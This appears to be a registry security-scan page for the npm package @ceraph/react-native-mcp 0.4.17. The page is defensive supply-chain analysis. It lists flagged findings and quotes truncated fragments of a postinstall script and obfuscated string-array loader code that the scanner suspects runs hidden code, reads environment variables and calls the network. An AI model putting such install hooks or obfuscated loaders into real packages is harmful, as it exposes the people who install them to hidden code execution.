registry  /  @ceraph/react-native-mcp  /  0.4.17

@ceraph/react-native-mcp@0.4.17

⚠ Under review

Static Scan Results

scanned 6d ago · by rust-scanner

Static analysis flagged 16 finding(s) at 86.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason
High-risk behavior combination matched malicious policy.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetwork
Supply chain
MinifiedObfuscatedProtestwareUrlStrings
ManifestNo manifest risk signals triggered.
scanned 27 file(s), 1.27 MB of source, external domains: 127.0.0.1, abc.supabase.co, ceraph.dev, fbidb.io

Source & flagged code

8 flagged · loading source
package.jsonView file
•scripts.postinstall = node -e "try{var e=process.env;if(e.CI||e.CERAPH_SKIP_POSTINSTALL||require('fs').existsSync(process.cwd()+'/../../pnpm-workspace.yaml'))process.exit(0);process.stderr.write('\n[@ce...
Critical
Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg
•scripts.postinstall = node -e "try{var e=process.env;if(e.CI||e.CERAPH_SKIP_POSTINSTALL||require('fs').existsSync(process.cwd()+'/../../pnpm-workspace.yaml'))process.exit(0);process.stderr.write('\n[@ce...
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
dist/index.jsView file
2L3: const _0x1be3ec=_0x20f2;(function(_0x58cf65,_0x214278){const _0x4f82e6=_0x20f2,_0x28d4ce=_0x58cf65();while(!![]){try{const _0x4f5c45=parseInt(_0x4f82e6(0x246))/0x1+-parseInt(_0x4f8...
High
Child Process

Package source references child process execution.

dist/index.jsView on unpkg · L2
2L3: const _0x1be3ec=_0x20f2;(function(_0x58cf65,_0x214278){const _0x4f82e6=_0x20f2,_0x28d4ce=_0x58cf65();while(!![]){try{const _0x4f5c45=parseInt(_0x4f82e6(0x246))/0x1+-parseInt(_0x4f8...
High
Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/index.jsView on unpkg · L2
2Cross-file remote execution chain: dist/index.js spawns dist/cli.js; helper contains network access plus dynamic code execution. L2: L3: const _0x1be3ec=_0x20f2;(function(_0x58cf65,_0x214278){const _0x4f82e6=_0x20f2,_0x28d4ce=_0x58cf65();while(!![]){try{const _0x4f5c45=parseInt(_0x4f82e6(0x246))/0x1+-parseInt(_0x4f8...
High
Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/index.jsView on unpkg · L2
2L3: const _0x1be3ec=_0x20f2;(function(_0x58cf65,_0x214278){const _0x4f82e6=_0x20f2,_0x28d4ce=_0x58cf65();while(!![]){try{const _0x4f5c45=parseInt(_0x4f82e6(0x246))/0x1+-parseInt(_0x4f8...
Medium
Install Persistence

Source writes installer persistence such as shell profile or service configuration.

dist/index.jsView on unpkg · L2
dist/babel-plugin/index.cjsView file
1'use strict';const _0x133153=_0x5e7a;(function(_0x1cf4e6,_0xd09121){const _0x3af876=_0x5e7a,_0x128c1d=_0x1cf4e6();while(!![]){try{const _0x1a0197=parseInt(_0x3af876(0x159))/0x1*(pa...
Medium
Dynamic Require

Package source references dynamic require/import behavior.

dist/babel-plugin/index.cjsView on unpkg · L1
dist/babel-plugin/index.jsView file
1const _0x1463db=_0x2b7a;(function(_0x2b2baf,_0x3c4448){const _0x263183=_0x2b7a,_0x365297=_0x2b2baf();while(!![]){try{const _0x2a6e13=parseInt(_0x263183(0x1dc))/0x1+-parseInt(_0x263...
High
Obfuscated Payload Loader

Source contains an obfuscator-style string-array loader that reconstructs and executes hidden code.

dist/babel-plugin/index.jsView on unpkg · L1

Findings

1 Critical6 High6 Medium3 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processdist/index.js
HighSame File Env Network Executiondist/index.js
HighObfuscated Payload Loaderdist/babel-plugin/index.js
HighCross File Remote Execution Contextdist/index.js
HighObfuscated
MediumDynamic Requiredist/babel-plugin/index.cjs
MediumNetwork
MediumEnvironment Vars
MediumInstall Persistencedist/index.js
MediumProtestware
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings